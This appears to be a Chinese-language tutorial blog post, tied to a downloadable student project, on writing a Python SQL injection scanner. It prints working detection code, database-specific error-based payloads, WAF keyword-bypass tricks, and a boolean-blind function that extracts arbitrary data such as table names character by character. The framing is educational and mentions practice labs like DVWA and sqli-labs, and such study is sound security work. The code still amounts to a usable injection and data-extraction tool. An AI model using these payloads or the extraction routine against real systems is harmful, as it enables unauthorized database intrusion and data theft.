简介:这是一份面向计算机、通信、人工智能及自动化等相关专业学生与从业者的Python自动化SQL注入检测工具项目源码,源自个人毕设,答辩评审分达98分,代码经调试测试可稳定运行,适合小白学习进阶,也可作为期末课程设计、大作业或毕业设计的参考方案。资源包共12个文件,以7个py核心脚本为主,辅以txt站点列表、sh执行脚本、md说明文档、rules规则文件及pyc编译文件,整体约35KB,结构紧凑便于快速理解检测逻辑。项目围绕布尔注入、时间盲注、参数提取、站点采集与邮件通知等模块展开,配套文档对功能与使用方式作了说明,读者可据此掌握自动化注入检测的基本思路与实现方法,并在此基础上修改调整以扩展不同功能。目前已有68人学习下载,具备较高的学习借鉴价值。
1. 基于Python的自动化SQL注入检测工具:从手工Payload到可复现的扫描器
很多做渗透测试的朋友都有过这种经历:在 DVWA 或者 sqlilab 靶场里手工注入玩得飞起,' or 1=1 --这种 SQL 注入简单例子闭着眼都能打,可一旦面对真实业务里成百上千个参数,手工测就彻底歇菜了。这时候就需要一个基于 Python 的自动化 SQL 注入检测工具,把重复的请求构造、响应比对、Payload 变形全部交给代码。这个方向解决的核心问题很明确:给定一个带参数的 URL,自动判断哪些参数存在注入点、属于哪种注入类型、能不能进一步利用。它适合有一定 Python 基础、想从「会用 sqlmap」进阶到「自己能写扫描器」的安全从业者,也适合想把 SQL 注入检测能力集成进自有平台的人。下面这套方案不依赖任何现成扫描框架,纯 Python 加 requests 就能跑起来,源码结构清晰,方便二次改造。
2. 检测原理与最小可用扫描器骨架
2.1 三种注入类型的判定逻辑
自动化检测的本质是「构造输入 → 观察响应差异 → 推断后端行为」。SQL 注入检测主要围绕三类判定展开。第一类是布尔盲注,通过构造真条件和假条件,比较两次响应内容或状态码是否一致,比如1 and 1=1与1 and 1=2。第二类是报错注入,故意触发数据库报错,从错误信息里提取数据库类型和版本,常见触发方式包括单引号闭合、extractvalue、updatexml等函数。第三类是基于时间的盲注,当页面既不回显也不报错时,用sleep或benchmark让数据库延迟响应,通过响应时间差判断注入是否存在。
这三类判定在代码里对应三个独立的检测函数,每个函数接收 URL、参数名、原始值,返回布尔结果。之所以拆开而不是一把梭,是因为不同注入点适用的检测方式不同:有回显的优先报错,无回显的走时间盲注,响应内容有变化的走布尔比对。实际写扫描器时,我一般会按「报错 → 布尔 → 时间」的顺序依次尝试,命中即停,避免无谓的请求开销。
2.2 用 requests 搭出请求与比对模块
先搭一个最小的请求封装,负责发送 Payload 并记录响应特征。这里用 requests 的 Session 保持连接复用,减少握手开销。
import requests import time import hashlib class Injector: def __init__(self, url, timeout=10): self.url = url self.timeout = timeout self.session = requests.Session() self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" }) def send(self, params): """发送请求,返回响应对象和耗时""" start = time.time() try: resp = self.session.get( self.url, params=params, timeout=self.timeout, allow_redirects=False ) elapsed = time.time() - start return resp, elapsed except requests.exceptions.Timeout: return None, self.timeout except requests.exceptions.RequestException: return None, 0 def fingerprint(self, resp): """对响应做指纹,用于布尔比对""" if resp is None: return "timeout" body = resp.text # 用长度+内容哈希做指纹,避免逐字节比对 return f"{resp.status_code}:{len(body)}:{hashlib.md5(body.encode()).hexdigest()[:8]}"这段代码里send方法返回响应对象和耗时,耗时是给时间盲注用的。fingerprint把状态码、响应长度、内容哈希拼成一个字符串,布尔比对时直接比这个指纹就行,比逐字符比对快得多。参数allow_redirects=False很关键,因为有些注入点会触发 302 跳转,跟随跳转后响应内容会变,导致误判。timeout默认 10 秒,时间盲注场景下如果 Payload 里 sleep 了 5 秒,这个超时值要相应调大,否则会把正常延迟误判成超时。
2.3 布尔盲注检测函数
布尔盲注的核心是构造一对真假条件,比较响应指纹是否不同。
def check_boolean(self, param, original_value): """布尔盲注检测""" true_payload = f"{original_value} AND 1=1" false_payload = f"{original_value} AND 1=2" params_true = {param: true_payload} params_false = {param: false_payload} resp_true, _ = self.send(params_true) resp_false, _ = self.send(params_false) fp_true = self.fingerprint(resp_true) fp_false = self.fingerprint(resp_false) # 真假条件响应不同,且真条件响应与原始请求一致 if fp_true != fp_false and fp_true != "timeout": return True return False这里有个容易翻车的点:original_value如果是数字型参数,直接拼AND 1=1没问题;如果是字符型,需要先闭合引号,比如original_value + "' AND 1=1 -- "。所以实际代码里要先判断参数类型,数字型不加引号,字符型加单引号并用注释符截断。注释符在不同数据库里不一样,MySQL 用--或#,SQL Server 用--,Oracle 用--,这个在 Payload 生成时要按目标数据库适配。
3. 报错注入与时间盲注的工程实现
3.1 报错注入的 Payload 构造与数据库指纹识别
报错注入的优势是直接能从错误信息里读到数据,不用逐字符猜。不同数据库的报错函数和错误格式差异很大,所以检测逻辑要分数据库处理。
ERROR_PAYLOADS = { "mysql": [ "' AND extractvalue(1,concat(0x7e,version())) -- ", "' AND updatexml(1,concat(0x7e,user()),1) -- ", "' AND (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- " ], "mssql": [ "' AND 1=convert(int,@@version) -- ", "' AND 1=db_name() -- " ], "oracle": [ "' AND 1=utl_inaddr.get_host_name((select banner from v$version where rownum=1)) -- " ] } ERROR_SIGNATURES = { "mysql": ["XPATH syntax error", "Duplicate entry", "SQL syntax"], "mssql": ["Conversion failed", "Unclosed quotation mark"], "oracle": ["ORA-", "invalid identifier"] } def check_error(self, param, original_value): """报错注入检测,返回命中的数据库类型""" for db_type, payloads in ERROR_PAYLOADS.items(): for payload in payloads: test_value = original_value + payload resp, _ = self.send({param: test_value}) if resp is None: continue body = resp.text for sig in ERROR_SIGNATURES[db_type]: if sig.lower() in body.lower(): return db_type return None这段代码的逻辑是:遍历各数据库的报错 Payload,发送后检查响应里是否包含对应数据库的错误特征字符串。ERROR_SIGNATURES里存的是各数据库报错信息的典型片段,比如 MySQL 的XPATH syntax error是extractvalue触发报错的标志。参数说明:original_value是原始参数值,Payload 直接拼接在后面;如果原始值是数字型,前面的单引号要去掉。实际使用时,报错注入的命中率取决于目标是否开启了错误回显,生产环境往往关了display_errors,这时候就得退回布尔或时间盲注。
3.2 时间盲注的延迟判定与误报控制
时间盲注是最稳但最慢的方式,核心是测量响应时间差。难点在于网络抖动会导致误报,所以要做多次采样取中位数。
def check_time(self, param, original_value, delay=5): """时间盲注检测,多次采样降低误报""" baseline_times = [] for _ in range(3): _, elapsed = self.send({param: original_value}) baseline_times.append(elapsed) baseline = sorted(baseline_times)[1] # 取中位数 payload = f"{original_value}' AND sleep({delay}) -- " test_times = [] for _ in range(3): _, elapsed = self.send({param: payload}) test_times.append(elapsed) test_median = sorted(test_times)[1] # 测试耗时明显大于基线,且接近设定的延迟值 if test_median - baseline > delay * 0.7: return True return False这里的关键参数是delay,一般设 5 秒。判定阈值用delay * 0.7而不是delay,是给网络波动留余量。基线采样 3 次取中位数,测试也采样 3 次取中位数,这样能过滤掉偶发的网络抖动。如果目标数据库不支持sleep,MySQL 可以用benchmark(1000000,md5('a'))替代,SQL Server 用WAITFOR DELAY '0:0:5',这些在 Payload 生成时要按数据库类型切换。时间盲注的坑在于:如果目标有 WAF,sleep关键字可能被拦截,这时候要用sleep/**/(5)或者/*!50000sleep*/(5)这种变形绕过。
3.3 参数发现与批量扫描调度
单点检测跑通后,需要自动发现 URL 里的参数并批量调度。参数来源有两类:URL 查询字符串和 POST 表单。先解析 URL 提取参数名和原始值。
from urllib.parse import urlparse, parse_qs, urlencode def extract_params(url): """从 URL 中提取参数名和值""" parsed = urlparse(url) query = parse_qs(parsed.query) params = {} for key, values in query.items(): params[key] = values[0] if values else "" return params def scan(self, url): """对 URL 所有参数执行检测""" params = extract_params(url) results = [] for param, value in params.items(): # 依次尝试报错、布尔、时间 db = self.check_error(param, value) if db: results.append({"param": param, "type": "error", "db": db}) continue if self.check_boolean(param, value): results.append({"param": param, "type": "boolean", "db": "unknown"}) continue if self.check_time(param, value): results.append({"param": param, "type": "time", "db": "unknown"}) return resultsextract_params用parse_qs把查询字符串拆成字典,注意parse_qs返回的值是列表,取第一个元素即可。scan方法按「报错 → 布尔 → 时间」的顺序检测,命中即停,这样能减少请求量。实际扫描时,如果参数很多,建议加并发,但并发数不要超过 5,否则时间盲注的延迟判定会被并发干扰。另外,扫描前最好先访问一次原始 URL 确认目标可达,避免对着一个 404 页面白跑半天。
4. 避坑与常见问题排查
4.1 布尔比对误报:动态内容导致的假阳性
现象:同一个参数,AND 1=1和AND 1=2的响应指纹不同,但手工验证发现并没有注入。原因:页面本身包含动态内容,比如时间戳、随机广告位、CSRF token,每次请求响应都不一样,导致指纹天然不同。解决:在比对前先连续请求两次原始参数,确认原始响应本身是否稳定。如果原始响应就不稳定,布尔比对不可用,要改用时间盲注,或者提取响应中稳定的部分做比对,比如只比对某个特定 HTML 元素的文本。
4.2 时间盲注误报:网络抖动与超时设置不当
现象:基线耗时 0.5 秒,测试耗时 4 秒,判定为注入,但实际是网络抖动。原因:单次采样受网络波动影响大,且timeout设置过小导致请求被截断。解决:基线采样至少 3 次取中位数,测试也采样 3 次;timeout要大于delay加网络余量,比如delay=5时timeout至少设 10 秒。另外,如果目标服务器本身响应就慢,基线可能就有 3 秒,这时候delay要相应调大,否则延迟差被淹没在基线里。
4.3 Payload 被 WAF 拦截:关键字变形与编码绕过
现象:手工测能注入,工具跑就是检测不到。原因:WAF 拦截了and、sleep、union等关键字。解决:对 Payload 做变形,常见手法包括大小写混写AnD、内联注释/*!50000and*/、URL 编码%61nd、双写anandd。代码里可以加一个 Payload 变形层,把关键字替换成变形版本。但要注意,变形后的 Payload 可能语法不合法,需要针对目标数据库测试哪种变形有效。
4.4 参数类型判断错误:数字型与字符型混淆
现象:数字型参数拼了单引号,导致 SQL 语法错误,检测不到注入。原因:代码没有区分参数类型,统一按字符型处理。解决:先判断原始值是否为纯数字,如果是数字型,Payload 不加引号;如果是字符型,加引号并用注释符截断。判断逻辑很简单:value.isdigit()为真则是数字型。但要注意,有些参数虽然是数字但后端按字符串处理,这种情况需要两种都试。
4.5 编码问题:中文参数与特殊字符处理
现象:参数值包含中文或特殊字符时,请求发送失败或响应异常。原因:requests 默认会对参数做 URL 编码,但某些特殊字符编码后目标解析不一致。解决:用requests的params参数传字典,让它自动编码,不要手工拼 URL。如果目标要求特定编码,可以用urllib.parse.quote手动编码后再拼。另外,响应内容的编码要用resp.apparent_encoding自动识别,不要硬编码utf-8,否则中文会乱码,影响报错特征匹配。
5. 从检测到利用:把扫描器变成可扩展的验证框架
检测到注入点只是第一步,真正有价值的是能进一步验证危害。我一般会在扫描器基础上加一个「数据提取」模块,对确认的注入点尝试读取数据库版本、当前用户、当前库名。布尔盲注用二分法逐字符猜解,时间盲注用延迟逐字符判断,报错注入直接正则提取。这里给一个布尔盲注提取数据的核心逻辑:
def extract_data(self, param, original_value, sql): """布尔盲注逐字符提取数据""" result = "" for pos in range(1, 50): low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"{original_value}' AND ascii(substr(({sql}),{pos},1))>{mid} -- " resp, _ = self.send({param: payload}) if self.fingerprint(resp) == self.true_fingerprint: low = mid + 1 else: high = mid if low == 32: break result += chr(low) return result这段代码用二分法猜解字符 ASCII 码,true_fingerprint是之前布尔检测时记录的真条件响应指纹。sql参数是任意子查询,比如select version()或select group_concat(table_name) from information_schema.tables where table_schema=database()。二分法把每个字符的猜测次数从 95 次降到 7 次左右,效率提升明显。但要注意,substr在不同数据库里写法不同,MySQL 用substr或substring,SQL Server 用substring,Oracle 用substr,这个要按数据库适配。
验证方法上,我习惯用 DVWA 的 low 难度和 sqlilab 的 Less-1 做回归测试,这两个靶场覆盖了数字型和字符型注入,能验证扫描器的基本功能。进阶用法是把扫描器接入 CI,每次代码发布前对测试环境跑一遍,确保没有新引入的注入点。这个方向值不值得做?如果你经常做渗透测试或者负责安全巡检,自己写一个扫描器比每次开 sqlmap 更灵活,能针对特定业务定制 Payload,也能集成进自有平台。但别指望它能替代 sqlmap,sqlmap 的 Payload 库和绕过能力是多年积累的,自研扫描器定位应该是「轻量、可定制、易集成」。
最后说个血泪教训:我早期写的扫描器没做请求频率控制,对着一个测试站跑,结果把人家服务器打挂了,后来加了time.sleep(0.5)的请求间隔才稳。自动化工具一定要有节制,别让检测变成攻击。希望帮到你。
本文还有配套的精品资源,点击获取